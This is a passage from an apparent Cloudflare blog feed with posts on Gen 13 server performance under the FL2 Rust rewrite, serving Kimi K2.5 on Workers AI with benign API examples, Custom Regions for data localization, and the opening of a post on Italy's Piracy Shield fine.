<p><span><span>PQOS config 2</span></span></p>
</td>
<td>
<p><span><span>1 of 2 vCPU in each physical core in each CCD runs FL.</span></span></p>
<p> </p>
<p><span><span>FL gets 50% of the 32MB L3 cache of each CCD.</span></span></p>
</td>
<td>
<p><span><span><img src="https://images.ctfassets.net/zkvhlag99gkb/3iJo1BBRueQRy92R3aXbGx/596c3231fa0e66f20de70ea02615f9a7/image2.png" /></span></span></p>
</td>
<td>
<p><span><span>&lt; 5% incremental throughput gain</span></span></p>
</td>
</tr>
<tr>
<td>
<p><span><span>PQOS config 3</span></span></p>
</td>
<td>
<p><span><span>2 vCPU on 50% of the physical core in each CCD runs FL. </span></span></p>
<p> </p>
<p><span><span>FL gets 50% of  the 32MB L3 cache of each CCD.</span></span></p>
</td>
<td>
<p><span><span><img src="https://images.ctfassets.net/zkvhlag99gkb/7FKLfSxnSNUlXJCw8CJGzU/69c7b81b6cee5a2c7040ecc96748084b/image5.png" /></span></span></p>
</td>
<td>
<p><span><span>&lt; 5% incremental throughput gain</span></span></p>
</td>
</tr>
</tbody>
</table>
</figure>
</div>
    <div>
      <h2>The opportunity: FL2 was already in progress</h2>
      <a href="#the-opportunity-fl2-was-already-in-progress">
        
      </a>
    </div>
    <p>Hardware tuning and resource configuration provided modest gains, but to truly unlock the performance potential of the Gen 13 architecture, we knew we would have to rewrite our software stack to fundamentally change how it utilized system resources.</p><p>Fortunately, we weren't starting from scratch. As we <a href="https://blog.cloudflare.com/20-percent-internet-upgrade/"><u>announced during Birthday Week 2025</u></a>, we had already been rebuilding FL1 from the ground up. FL2 is a complete rewrite of our request handling layer in Rust, built on our <a href="https://blog.cloudflare.com/pingora-open-source/"><u>Pingora</u></a> and <a href="https://blog.cloudflare.com/introducing-oxy/"><u>Oxy</u></a> frameworks, replacing 15 years of NGINX and LuaJIT code.</p><p>The FL2 project wasn't initiated to solve the Gen 13 cache problem — it was driven by the need for better security (Rust's memory safety), faster development velocity (strict module system), and improved performance across the board (less CPU, less memory, modular execution).</p><p>FL2's cleaner architecture, with better memory access patterns and less dynamic allocation, might not depend on massive L3 caches the way FL1 did. This gave us an opportunity to use the FL2 transition to prove whether Gen 13's throughput gains could be realized without the latency penalty.</p>
    <div>
      <h2>Proving it out: FL2 on Gen 13</h2>
      <a href="#proving-it-out-fl2-on-gen-13">
        
      </a>
    </div>
    <p>As the FL2 rollout progressed, production metrics from our Gen 13 servers validated what we had hypothesized.</p><table><tr><td><p>Metric</p></td><td><p>Gen 13 AMD Turin 9965 (FL1)</p></td><td><p>Gen 13 AMD Turin 9965 (FL2)</p></td></tr><tr><td><p>FL requests per CPU%</p></td><td><p>baseline</p></td><td><p>50% higher</p></td></tr><tr><td><p>Latency vs Gen 12</p></td><td><p>baseline</p></td><td><p>70% lower</p></td></tr><tr><td><p>Throughput vs Gen 12</p></td><td><p>62% higher</p></td><td><p>100% higher</p></td></tr></table><p>The out-of-the-box efficiency gains on our new FL2 stack were substantial, even before any system optimizations. FL2 slashed the latency penalty by 70%, allowing us to push Gen 13 to higher CPU utilization while strictly meeting our latency SLAs. Under FL1, this would have been impossible.</p><p>By effectively eliminating the cache bottleneck, FL2 enables our throughput to scale linearly with core count. The impact is undeniable on the high-density AMD Turin 9965: we achieved a 2x performance gain, unlocking the true potential of the hardware. With further system tuning, we expect to squeeze even more power out of our Gen 13 fleet.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1jV1q0n9PgmbbNzDl8E1J1/2ead24a20cc10836ba041f73a16f3883/image6.png" />
          </figure>
    <div>
      <h2>Generational improvement with Gen 13</h2>
      <a href="#generational-improvement-with-gen-13">
        
      </a>
    </div>
    <p>With FL2 unlocking the immense throughput of the high-core-count AMD Turin 9965, we have officially selected these processors for our Gen 13 deployment. Hardware qualification is complete, and Gen 13 servers are now shipping at scale to support our global rollout.</p>
    <div>
      <h3>Performance improvements</h3>
      <a href="#performance-improvements">
        
      </a>
    </div>
    <table><tr><td><p>
</p></td><td><p>Gen 12 </p></td><td><p>Gen 13 </p></td></tr><tr><td><p>Processor</p></td><td><p>AMD EPYC™ 4th Gen Genoa-X 9684X</p></td><td><p>AMD EPYC™ 5th Gen Turin 9965</p></td></tr><tr><td><p>Core count</p></td><td><p>96C/192T</p></td><td><p>192C/384T</p></td></tr><tr><td><p>FL throughput</p></td><td><p>baseline</p></td><td><p>Up to +100%</p></td></tr><tr><td><p>Performance per watt</p></td><td><p>baseline</p></td><td><p>Up to +50%</p></td></tr></table>
    <div>
      <h3>Gen 13 business impact</h3>
      <a href="#gen-13-business-impact">
        
      </a>
    </div>
    <p><b>Up to 2x throughput vs Gen 12 </b>for uncompromising customer experience: By doubling our throughput capacity while staying within our latency SLAs, we guarantee our applications remain fast and responsive, and able to absorb massive traffic spikes.</p><p><b>50% better performance/watt vs Gen 12 </b>for sustainable scaling: This gain in power efficiency not only reduces data center expansion costs, but allows us to process growing traffic with a vastly lower carbon footprint per request.</p><p><b>60% higher rack throughput vs Gen 12 </b>for global edge upgrades: Because we achieved this throughput density while keeping the rack power budget constant, we can seamlessly deploy this next generation compute anywhere in the world across our global edge network, delivering top tier performance exactly where our customers want it.</p>
    <div>
      <h2>Gen 13 + FL2: ready for the edge </h2>
      <a href="#gen-13-fl2-ready-for-the-edge">
        
      </a>
    </div>
    <p>Our legacy request serving layer FL1 hit a cache contention wall on Gen 13, forcing an unacceptable tradeoff between throughput and latency. Instead of compromising, we built FL2. </p><p>Designed with a vastly leaner memory access pattern, FL2 removes our dependency on massive L3 caches and allows linear scaling with core count. Running on the Gen 13 AMD Turin platform, FL2 unlocks 2x the throughput and a 50% boost in power efficiency all while keeping latency within our SLAs. This leap forward is a great reminder of the importance of hardware-software co-design. Unconstrained by cache limits, Gen 13 servers are now ready to be deployed to serve millions of requests across Cloudflare’s global network.</p><p>If you're excited about working on infrastructure at global scale, <a href="https://www.cloudflare.com/careers/jobs"><u>we're hiring</u></a>.</p> ]]></content:encoded>
            <category><![CDATA[Hardware]]></category>
            <category><![CDATA[Performance]]></category>
            <category><![CDATA[Infrastructure]]></category>
            <category><![CDATA[Rust]]></category>
            <category><![CDATA[AMD]]></category>
            <category><![CDATA[Engineering]]></category>
            <guid isPermaLink="false">4shbA7eyT2KredK7RJyizK</guid>
            <dc:creator>Syona Sarma</dc:creator>
            <dc:creator>JQ Lau</dc:creator>
            <dc:creator>Jesse Brandeburg</dc:creator>
        </item>
        <item>
            <title><![CDATA[Powering the agents: Workers AI now runs large models, starting with Kimi K2.5]]></title>
            <link>https://blog.cloudflare.com/workers-ai-large-models/</link>
            <pubDate>Thu, 19 Mar 2026 19:53:16 GMT</pubDate>
            <description><![CDATA[ Kimi K2.5 is now on Workers AI, helping you power agents entirely on Cloudflare’s Developer Platform. Learn how we optimized our inference stack and reduced inference costs for internal agent use cases.  ]]></description>
            <content:encoded><![CDATA[ <p>We're making Cloudflare the best place for building and deploying agents. But reliable agents aren't built on prompts alone; they require a robust, coordinated infrastructure of underlying primitives. </p><p>At Cloudflare, we have been building these primitives for years: <a href="https://developers.cloudflare.com/durable-objects/"><u>Durable Objects</u></a> for state persistence, <a href="https://developers.cloudflare.com/workflows/"><u>Workflows</u></a> for long running tasks, and <a href="https://developers.cloudflare.com/workers/runtime-apis/bindings/worker-loader/"><u>Dynamic Workers</u></a> or <a href="https://developers.cloudflare.com/sandbox/"><u>Sandbox</u></a> containers for secure execution. Powerful abstractions like the <a href="https://developers.cloudflare.com/agents/"><u>Agents SDK</u></a> are designed to help you build agents on top of Cloudflare’s Developer Platform.</p><p>But these primitives only provided the execution environment. The agent still needed a model capable of powering it. </p><p>Starting today, Workers AI is officially in the big models game. We now offer frontier open-source models on our AI inference platform. We’re starting by releasing <a href="https://www.kimi.com/blog/kimi-k2-5"><u>Moonshot AI’s Kimi K2.5</u></a> model <a href="https://developers.cloudflare.com/workers-ai/models/kimi-k2.5"><u>on Workers AI</u></a>. With a full 256k context window and support for multi-turn tool calling, vision inputs, and structured outputs, the Kimi K2.5 model is excellent for all kinds of agentic tasks. By bringing a frontier-scale model directly into the Cloudflare Developer Platform, we’re making it possible to run the entire agent lifecycle on a single, unified platform.</p><p>The heart of an agent is the AI model that powers it, and that model needs to be smart, with high reasoning capabilities and a large context window. Workers AI now runs those models.</p>
    <div>
      <h2>The price-performance sweet spot</h2>
      <a href="#the-price-performance-sweet-spot">
        
      </a>
    </div>
    <p>We spent the last few weeks testing Kimi K2.5 as the engine for our internal development tools. Within our <a href="https://opencode.ai/"><u>OpenCode</u></a> environment, Cloudflare engineers use Kimi as a daily driver for agentic coding tasks. We have also integrated the model into our automated code review pipeline; you can see this in action via our public code review agent, <a href="https://github.com/ask-bonk/ask-bonk"><u>Bonk</u></a>, on Cloudflare GitHub repos. In production, the model has proven to be a fast, efficient alternative to larger proprietary models without sacrificing quality.</p><p>Serving Kimi K2.5 began as an experiment, but it quickly became critical after reviewing how the model performs and how cost-efficient it is. As an illustrative example: we have an agent that does security reviews of Cloudflare’s codebases. This agent processes over 7B tokens per day, and using Kimi, it has caught more than 15 confirmed issues in a single codebase. Doing some rough math, if we had run this agent on a mid-tier proprietary model, we would have spent $2.4M a year for this single use case, on a single codebase. Running this agent with Kimi K2.5 cost just a fraction of that: we cut costs by 77% simply by making the switch to Workers AI.</p><p>As AI adoption increases, we are seeing a fundamental shift not only in how engineering teams are operating, but how individuals are operating. It is becoming increasingly common for people to have a personal agent like <a href="https://openclaw.ai/"><u>OpenClaw</u></a> running 24/7. The volume of inference is skyrocketing.</p><p>This new rise in personal and coding agents means that cost is no longer a secondary concern; it is the primary blocker to scaling. When every employee has multiple agents processing hundreds of thousands of tokens per hour, the math for proprietary models stops working. Enterprises will look to transition to open-source models that offer frontier-level reasoning without the proprietary price tag. Workers AI is here to facilitate this shift, providing everything from serverless endpoints for a personal agent to dedicated instances powering autonomous agents across an entire organization.</p>
    <div>
      <h2>The large model inference stack</h2>
      <a href="#the-large-model-inference-stack">
        
      </a>
    </div>
    <p>Workers AI has served models, including LLMs, since its launch two years ago, but we’ve historically prioritized smaller models. Part of the reason was that for some time, open-source LLMs fell far behind the models from frontier model labs. This changed with models like Kimi K2.5, but to serve this type of very large LLM, we had to make changes to our inference stack. We wanted to share with you some of what goes on behind the scenes to support a model like Kimi.</p><p>We’ve been working on custom kernels for Kimi K2.5 to optimize how we serve the model, which is built on top of our proprietary <a href="https://blog.cloudflare.com/cloudflares-most-efficient-ai-inference-engine/"><u>Infire inference engine</u></a>. Custom kernels improve the model’s performance and GPU utilization, unlocking gains that would otherwise go unclaimed if you were just running the model out of the box. There are also multiple techniques and hardware configurations that can be leveraged to serve a large model. Developers typically use a combination of data, tensor, and expert parallelization techniques to optimize model performance. Strategies like disaggregated prefill are also important, in which you separate the prefill and generation stages onto different machines in order to get better throughput or higher GPU utilization. Implementing these techniques and incorporating them into the inference stack takes a lot of dedicated experience to get right. </p><p>Workers AI has already done the experimentation with serving techniques to yield excellent throughput on Kimi K2.5. A lot of this does not come out of the box when you self-host an open-source model. The benefit of using a platform like Workers AI is that you don’t need to be a Machine Learning Engineer, a DevOps expert, or a Site Reliability Engineer to do the optimizations required to host it: we’ve already done the hard part, you just need to call an API.</p>
    <div>
      <h2>Beyond the model — platform improvements for agentic workloads</h2>
      <a href="#beyond-the-model-platform-improvements-for-agentic-workloads">
        
      </a>
    </div>
    <p>In concert with this launch, we’ve also improved our platform and are releasing several new features to help you build better agents.</p>
    <div>
      <h3>Prefix caching and surfacing cached tokens</h3>
      <a href="#prefix-caching-and-surfacing-cached-tokens">
        
      </a>
    </div>
    <p>When you work with agents, you are likely sending a large number of input tokens as part of the context: this could be detailed system prompts, tool definitions, MCP server tools, or entire codebases. Inputs can be as large as the model context window, so in theory, you could be sending requests with almost 256k input tokens. That’s a lot of tokens.</p><p>When an LLM processes a request, the request is broken down into two stages: the prefill stage processes input tokens and the output stage generates output tokens. These stages are usually sequential, where input tokens have to be fully processed before you can generate output tokens. This means that sometimes the GPU is not fully utilized while the model is doing prefill.</p><p>With multi-turn conversations, when you send a new prompt, the client sends all the previous prompts, tools, and context from the session to the model as well. The delta between consecutive requests is usually just a few new lines of input; all the other context has already gone through the prefill stage during a previous request. This is where prefix caching helps. Instead of doing prefill on the entire request, we can cache the input tensors from a previous request, and only do prefill on the new input tokens. This saves a lot of time and compute from the prefill stage, which means a faster Time to First Token (TTFT) and a higher Tokens Per Second (TPS) throughput as you’re not blocked on prefill.</p><p>Workers AI has always done prefix caching, but we are now surfacing cached tokens as a usage metric and offering a discount on cached tokens compared to input tokens. (Pricing can be found on the <a href="https://developers.cloudflare.com/workers-ai/models/kimi-k2.5/"><u>model page</u></a>.) We also have new techniques for you to leverage in order to get a higher prefix cache hit rate, reducing your costs.</p>
    <div>
      <h3>New session affinity header for higher cache hit rates</h3>
      <a href="#new-session-affinity-header-for-higher-cache-hit-rates">
        
      </a>
    </div>
    <p>In order to route to the same model instance and take advantage of prefix caching, we use a new <code>x-session-affinity</code> header. When you send this header, you’ll improve your cache hit ratio, leading to more cached tokens and subsequently, faster TTFT, TPS, and lower inference costs.</p><p>You can pass the new header like below, with a unique string per session or per agent. Some clients like OpenCode implement this automatically out of the box. Our <a href="https://github.com/cloudflare/agents-starter"><u>Agents SDK starter</u></a> has already set up the wiring to do this for you, too.</p>
            <pre><code>curl -X POST \
"https://api.cloudflare.com/client/v4/accounts/{ACCOUNT_ID}/ai/run/@cf/moonshotai/kimi-k2.5" \
  -H "Authorization: Bearer {API_TOKEN}" \
  -H "Content-Type: application/json" \
  -H "x-session-affinity: ses_12345678" \
  -d '{
    "messages": [
      {
        "role": "system",
        "content": "You are a helpful assistant."
      },
      {
        "role": "user",
        "content": "What is prefix caching and why does it matter?"
      }
    ],
    "max_tokens": 2400,
    "stream": true
  }'
</code></pre>
            
    <div>
      <h3>Redesigned async APIs</h3>
      <a href="#redesigned-async-apis">
        
      </a>
    </div>
    <p>Serverless inference is really hard. With a pay-per-token business model, it’s cheaper on a single request basis because you don’t need to pay for entire GPUs to service your requests. But there’s a trade-off: you have to contend with other people’s traffic and capacity constraints, and there’s no strict guarantee that your request will be processed. This is not unique to Workers AI — it’s evidently the case across serverless model providers, given the frequent news reports of overloaded providers and service disruptions. While we always strive to serve your request and have built-in autoscaling and rebalancing, there are hard limitations (like hardware) that make this a challenge.</p><p>For volumes of requests that would exceed synchronous rate limits, you can submit batches of inferences to be completed asynchronously. We’re introducing a revamped Asynchronous API, which means that for asynchronous use cases, you won’t run into Out of Capacity errors and inference will execute durably at some point. Our async API looks more like flex processing than a batch API, where we process requests in the async queue as long as we have headroom in our model instances. With internal testing, our async requests usually execute within 5 minutes, but this will depend on what live traffic looks like. As we bring Kimi to the public, we will tune our scaling accordingly, but the async API is the best way to make sure you don’t run into capacity errors in durable workflows. This is perfect for use cases that are not real-time, such as code scanning agents or research agents.</p><p>Workers AI previously had an asynchronous API, but we’ve recently revamped the systems under the hood. We now rely on a pull-based system versus the historical push-based system, allowing us to pull in queued requests as soon as we have capacity. We’ve also added better controls to tune the throughput of async requests, monitoring GPU utilization in real-time and pulling in async requests when utilization is low, so that critical synchronous requests get priority while still processing asynchronous requests efficiently.</p><p>To use the asynchronous API, you would send your requests as seen below. We also have a way to <a href="https://developers.cloudflare.com/workers-ai/platform/event-subscriptions/"><u>set up event notifications</u></a> so that you can know when the inference is complete instead of polling for the request. </p>
            <pre><code>// (1.) Push a request in queue
// pass queueRequest: true
let res = await env.AI.run("@cf/moonshotai/kimi-k2.5", {
  "requests": [{
    "messages": [{
      "role": "user",
      "content": "Tell me a joke"
    }]
  }, {
    "messages": [{
      "role": "user",
      "content": "Explain the Pythagoras theorem"
    }]
  }, ...{&lt;add more requests in a batch&gt;} ];
}, {
  queueRequest: true,
});


// (2.) grab the request id
let request_id;
if(res &amp;&amp; res.request_id){
  request_id = res.request_id;
}
// (3.) poll the status
let res = await env.AI.run("@cf/moonshotai/kimi-k2.5", {
  request_id: request_id
});

if(res &amp;&amp; res.status === "queued" || res.status === "running") {
 // retry by polling again
 ...
}
else 
 return Response.json(res); // This will contain the final completed response 
</code></pre>
            
    <div>
      <h2>Try it out today</h2>
      <a href="#try-it-out-today">
        
      </a>
    </div>
    <p>Get started with Kimi K2.5 on Workers AI today. You can read our developer docs to find out <a href="https://developers.cloudflare.com/workers-ai/models/kimi-k2.5/"><u>model information and pricing</u></a>, and how to take advantage of <a href="https://developers.cloudflare.com/workers-ai/features/prompt-caching/"><u>prompt caching via session affinity headers</u></a> and <a href="https://developers.cloudflare.com/workers-ai/features/batch-api/"><u>asynchronous API</u></a>. The <a href="https://github.com/cloudflare/agents-starter"><u>Agents SDK starter</u></a> also now uses Kimi K2.5 as its default model. You can also <a href="https://opencode.ai/docs/providers/"><u>connect to Kimi K2.5 on Workers AI via Opencode</u></a>. For a live demo, try it in our <a href="https://playground.ai.cloudflare.com/"><u>playground</u></a>.</p><p>And if this set of problems around serverless inference, ML optimizations, and GPU infrastructure sound  interesting to you — <a href="https://job-boards.greenhouse.io/cloudflare/jobs/6297179?gh_jid=6297179"><u>we’re hiring</u></a>!</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/36JzF0zePj2z7kZQK8Q2fg/73b0a7206d46f0eef170ffd1494dc4b3/BLOG-3247_2.png" />
          </figure><p></p> ]]></content:encoded>
            <category><![CDATA[Developer Platform]]></category>
            <category><![CDATA[Developers]]></category>
            <category><![CDATA[Workers AI]]></category>
            <category><![CDATA[Cloudflare Workers]]></category>
            <category><![CDATA[AI]]></category>
            <category><![CDATA[Agents]]></category>
            <guid isPermaLink="false">1wSO33KRdd5aUPAlSVDiqU</guid>
            <dc:creator>Michelle Chen</dc:creator>
            <dc:creator>Kevin Flansburg</dc:creator>
            <dc:creator>Ashish Datta</dc:creator>
            <dc:creator>Kevin Jain</dc:creator>
        </item>
        <item>
            <title><![CDATA[Introducing Custom Regions for precision data control]]></title>
            <link>https://blog.cloudflare.com/custom-regions/</link>
            <pubDate>Wed, 18 Mar 2026 13:00:00 GMT</pubDate>
            <description><![CDATA[ We are expanding Regional Services with new pre-defined regions and the launch of Custom Regions. Customers can now define precise geographical boundaries for data processing, tailored to meet their compliance and performance needs. ]]></description>
            <content:encoded><![CDATA[ <p>A key part of our mission to help build a better Internet is giving our customers the tools they need to operate securely and efficiently, no matter their compliance requirements. Our Regional Services product helps customers do just that, allowing them to meet data sovereignty legal obligations using the power of Cloudflare’s global network.</p><p>Today, we're taking two major steps forward: First, we’re expanding the pre-defined regions for Regional Services to include Turkey, the United Arab Emirates (UAE), IRAP (Australian compliance) and ISMAP (Japanese compliance). Second, we’re introducing the next evolution of our platform: Custom Regions.</p>
    <div>
      <h2>Global security, local compliance: the Regional Services advantage</h2>
      <a href="#global-security-local-compliance-the-regional-services-advantage">
        
      </a>
    </div>
    <p>Before we dive into what’s new, let’s revisit how <a href="https://developers.cloudflare.com/data-localization/regional-services/"><u>Regional Services</u></a> provides the best of both worlds: local compliance and global-scale security. Our approach is fundamentally different from many sovereign cloud providers. Instead of isolating your traffic to a single geography (and a smaller capacity for attack mitigation), we leverage the full scale of our global network for protection and only inspect your data where you tell us to.</p><p>Here’s an overview of how it works:</p><ol><li><p><b>Global ingestion &amp; L3/L4 DDoS defense:</b> Traffic is ingested at the closest Cloudflare data center, wherever in the world that may be. At this initial entry point, we apply our massive-scale DDoS mitigation to block volumetric attacks at the network and transport layers. This happens outside your designated region, ensuring only clean traffic is forwarded.</p></li><li><p><b>Intelligent in-region routing:</b> Before any decryption occurs, we inspect the request's metadata. If it has arrived at a data center outside your specified region, we route it across our secure, private backbone to a data center within your boundaries, using the most performant pathway.</p></li><li><p><b>In-region TLS termination &amp; L7 processing:</b> Only once the traffic is confirmed to be within your chosen region do we decrypt the request. It is only then that we apply our application-layer security services, like our Web Application Firewall (WAF) or Bot Management, and execute any Cloudflare Workers logic.</p></li><li><p><b>Secure transit to origin:</b> Once processed, the request is re-encrypted and securely sent to your origin server.</p></li></ol><p>This unique architecture means you can localize data inspection as needed to meet your legal obligations without sacrificing the robust DDoS protection that only a massive global network can provide.</p>
    <div>
      <h2>New options available within Cloudflare Managed Regions</h2>
      <a href="#new-options-available-within-cloudflare-managed-regions">
        
      </a>
    </div>
    <p>When we launched Regional Services in 2020, we started with just three regions: EU, UK, and U.S. Over time we have added regions that are shared across all accounts — we refer to these as Cloudflare Managed Regions.</p><p>A few more are newly available: Turkey, the United Arab Emirates (UAE), and IRAP (Australian compliance), bringing our total to <a href="https://developers.cloudflare.com/data-localization/region-support/"><u>35 regions</u></a>.</p><p>In addition, we are now giving our customers the ability to request a custom region that meets their account needs. These are Custom Regions, launching today.</p>
    <div>
      <h2>Beyond pre-defined boundaries: introducing Custom Regions</h2>
      <a href="#beyond-pre-defined-boundaries-introducing-custom-regions">
        
      </a>
    </div>
    <p>While our 35 pre-defined regions serve many of our customers’ needs, the digital world isn't one-size-fits-all. We've heard you loud and clear: you've asked for a specific country, unique combinations of countries, and the ability to exclude a set of countries from a region.</p><p>That's why we're excited to announce the next evolution of Regional Services: Custom Regions.</p><p>Simply put, Custom Regions give you the power to define your own geographical boundaries for traffic processing. Instead of choosing from a list of regions defined by us, you tell us precisely which locations constitute your region.</p><p>This flexibility unlocks a new level of control. Our early-access customers have already used Custom Regions to:</p><ul><li><p><b>Regionalize AI inference:</b> Keep LLM prompts and responses within a specific set of countries to optimize for performance and data localization legal obligations.</p></li><li><p><b>Launch hyper-targeted promotions:</b> Serve marketing campaigns and content that are optimized for a unique combination of countries.</p></li><li><p><b>Scale government operations:</b> Build regions that align with contractual commitments with government entities.</p></li><li><p><b>Mirror your corporate structure:</b> Build regions that match your internal business units, like EMEA, MENA, or APAC, for perfectly aligned governance.</p></li></ul><p>The core mechanism is the same; the only thing that changes is the boundary. Instead of Cloudflare defining the region, you do.</p><p>The possibilities are endless. For example, your region could be:</p><ul><li><p><b>North America:</b> Canada, United States, Mexico</p></li><li><p><b>Everywhere except North America:</b> Not Canada, not United States, not Mexico</p></li><li><p><b>Countries that use Fahrenheit:</b> USA, Bahamas, Cayman Islands, Marshall Islands, Liberia</p></li></ul>
    <div>
      <h3>How Regional Services works</h3>
      <a href="#how-regional-services-works">
        
      </a>
    </div>
    <p>At the core of Regional Services is enforcement of a simple rule: TLS termination and Layer 7 processing only happen inside your chosen region. Custom Regions expands this capability by allowing you to choose your own region definitions.</p><p>Cloudflare Managed Regions and Custom Regions rely on three building blocks: defining region membership, selecting an in-region destination, and enforcing the boundary at the edge.</p>
    <div>
      <h4>Defining region membership</h4>
      <a href="#defining-region-membership">
        
      </a>
    </div>
    <p>A region is ultimately a set of Cloudflare data centers.</p><ul><li><p><b>Cloudflare managed regions</b> use a pre-defined membership set.</p></li><li><p><b>Custom Regions</b> define membership with an expression. The most common field is <code>country_code</code>: the ISO code where each data center is located:</p></li></ul><table><tr><td><p><b>Use case</b></p></td><td><p><b>Expression</b></p></td><td><p><b>Definition</b></p></td></tr><tr><td><p>Single country</p></td><td><p><code>country_code == "TR"</code></p></td><td><p>Turkey</p></td></tr><tr><td><p>Multiple countries</p></td><td><p><code>country_code in ["DE", "FR", "NL"]</code></p></td><td><p>Germany, France, and the Netherlands</p></td></tr><tr><td><p>Exclude countries</p></td><td><p><code>!(country_code in ["US", "CA", "MX"])</code></p></td><td><p>Everything except the U.S., Canada, and Mexico</p></td></tr></table><p>That expression is evaluated against data centers' metadata. Matches become your region's membership set and are distributed globally, so every data center can quickly answer: "Am I in this region?"</p><p>As Cloudflare's infrastructure evolves, membership updates, so new matching data centers can join automatically. You do not need to worry about when data centers are added or removed from the definition; Cloudflare takes care of that for you. </p>
    <div>
      <h4>Calculating optimal in-region routing</h4>
      <a href="#calculating-optimal-in-region-routing">
        
      </a>
    </div>
    <p>If a request enters Cloudflare outside your region, the next step is choosing the best in-region destination for that ingress location.</p><p>Cloudflare's selection is a two-step process:</p><ol><li><p><b>Allowed destinations:</b> the region's membership set (which data centers are in-region)</p></li><li><p><b>Best destination for this ingress:</b> a performance-ranked list tailored to the data center where the request entered our network</p></li></ol><p>These per-ingress rankings are computed centrally and distributed to the edge via <a href="https://blog.cloudflare.com/quicksilver-v2-evolution-of-a-globally-distributed-key-value-store-part-2-of-2/"><u>Quicksilver</u></a>. They are built from measured path quality across our network (not just physical distance), using signals like:</p><ul><li><p><b>Network performance:</b> Latency and reliability indicators (for example, loss and timeouts)</p></li><li><p><b>Capacity and load:</b> Available resources and current utilization</p></li><li><p><b>Operational status:</b> Health and availability</p></li></ul><p>At routing time, we intersect the ranked list with the region membership set and choose from the top candidates. The final choice is validated against live availability: destinations that are disabled or otherwise unreachable are skipped, so traffic can fail over to the next best in-region option.</p>
    <div>
      <h4>Enforcing the boundary</h4>
      <a href="#enforcing-the-boundary">
        
      </a>
    </div>
    <p>This is the process when a request arrives at Cloudflare:</p><ol><li><p><b>Ingress.</b> The request lands at the nearest data center. Layer 3/4 DDoS mitigation is applied immediately.</p></li><li><p><b>Configuration lookup.</b> Is a region configured for this zone?</p></li><li><p><b>Membership check.</b> Is this data center in the configured region?</p></li><li><p><b>Routing decision.</b></p><ul><li><p><b>In region:</b> Process locally. TLS termination and all Layer 7 services run here.</p></li><li><p><b>Out of region:</b> An in-region data center is selected, and the request is forwarded over Cloudflare's private backbone.</p></li></ul></li><li><p><b>In-region processing.</b> TLS is terminated for the first time. Layer 7 services run here.</p></li><li><p><b>Origin connection.</b> The processed request is sent to your origin.</p></li></ol><p>As noted above, Cloudflare does not decrypt the request outside your defined region. Instead, we forward it to the closest data center inside your region, where decryption and Layer 7 services occur. </p>
    <div>
      <h4>How we handle errors</h4>
      <a href="#how-we-handle-errors">
        
      </a>
    </div>
    <p>Resilience is built in at multiple layers:</p><ul><li><p><b>Multiple candidates:</b> Routing considers multiple in-region options and selects an available destination in real time.</p></li><li><p><b>Health-aware routing:</b> Unhealthy or disabled data centers are excluded.</p></li><li><p><b>Data quality gates:</b> Fresh routing inputs are only published when sufficient monitoring data is available. </p></li><li><p><b>Fail-close design:</b> If no valid in-region destination exists, the connection fails rather than processing outside your region.</p></li></ul>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5DSicSTe5WOXe9qZEmNO1R/be26bd032aa0bbae052b1a1cede23161/image1.png" />
          </figure>
    <div>
      <h3>How to get started</h3>
      <a href="#how-to-get-started">
        
      </a>
    </div>
    <p>The new Cloudflare managed regions are available now for customers using Regional Services. If you would like to use these, just follow the standard process to enable it via the Cloudflare Dashboard or via the Cloudflare API. Custom Regions are new and follow a different process.</p><p>To ensure a perfect fit for your needs, the initial setup for Custom Regions is a collaborative process. To get started, simply reach out to your account team. They will work with you to define your region and get it deployed. While the service is not yet self-serve, we are continuously developing the technology and will revisit this as the feature matures. Please note that some technical limitations may apply, and your solutions engineer is the perfect person to discuss the details with.</p>
    <div>
      <h3>Interested in taking control of your data?</h3>
      <a href="#interested-in-taking-control-of-your-data">
        
      </a>
    </div>
    <p>If you are interested in learning more about Regional Services, please contact your account team. If you’re not yet a Cloudflare customer, we would love to have you. <a href="https://www.cloudflare.com/plans/enterprise/discover/contact/"><u>Fill out this form</u></a>, and we’ll be in touch with you soon.</p> ]]></content:encoded>
            <category><![CDATA[Regional Services]]></category>
            <category><![CDATA[Data Localization Suite]]></category>
            <category><![CDATA[Data Sovereignty]]></category>
            <guid isPermaLink="false">7zfn4cHE2C5bgEo1cWSL4u</guid>
            <dc:creator>Andrew Berglund</dc:creator>
            <dc:creator>Erik Engstrom</dc:creator>
        </item>
        <item>
            <title><![CDATA[Standing up for the open Internet: why we appealed Italy’s "Piracy Shield" fine]]></title>
            <link>https://blog.cloudflare.com/standing-up-for-the-open-internet/</link>
            <pubDate>Mon, 16 Mar 2026 19:00:00 GMT</pubDate>
            <description><![CDATA[ Cloudflare is appealing a €14 million fine from Italian regulators over "Piracy Shield," a system that forces providers to block content without oversight. We are challenging this framework to protect the Internet from disproportionate overblocking and lack of due process. ]]></description>
            <content:encoded><![CDATA[ <p>At Cloudflare, our mission is to help build a better Internet. Usually, that means rolling out new services to our millions of users or defending the web against the world’s largest cyber attacks. But sometimes, building a better Internet requires us to stand up against laws or regulations that threaten its fundamental architecture.</p><p>Last week, Cloudflare continued its legal battle against "Piracy Shield,” a misguided Italian regulatory scheme designed to protect large rightsholder interests at the expense of the broader Internet. After Cloudflare resisted registering for Piracy Shield and challenged it in court, the Italian communications regulator, AGCOM, fined Cloudflare a staggering €14 million (~$17 million). We appealed that fine on March 8, and we continue to challenge the legality of Piracy Shield itself. </p><p>While the fine is significant, the principles at stake are even larger. This case isn't just about a single penalty; it’s about whether a handful of private entities can prioritize their own economic interests over those of Internet users by forcing global infrastructure providers to block large swaths of the Internet without oversight, transparency, or due process.</p>
    <div>
      <h3>What is Piracy Shield?</h3>
      <a href="#what-is-piracy-shield">
        
      </a>
    </div>
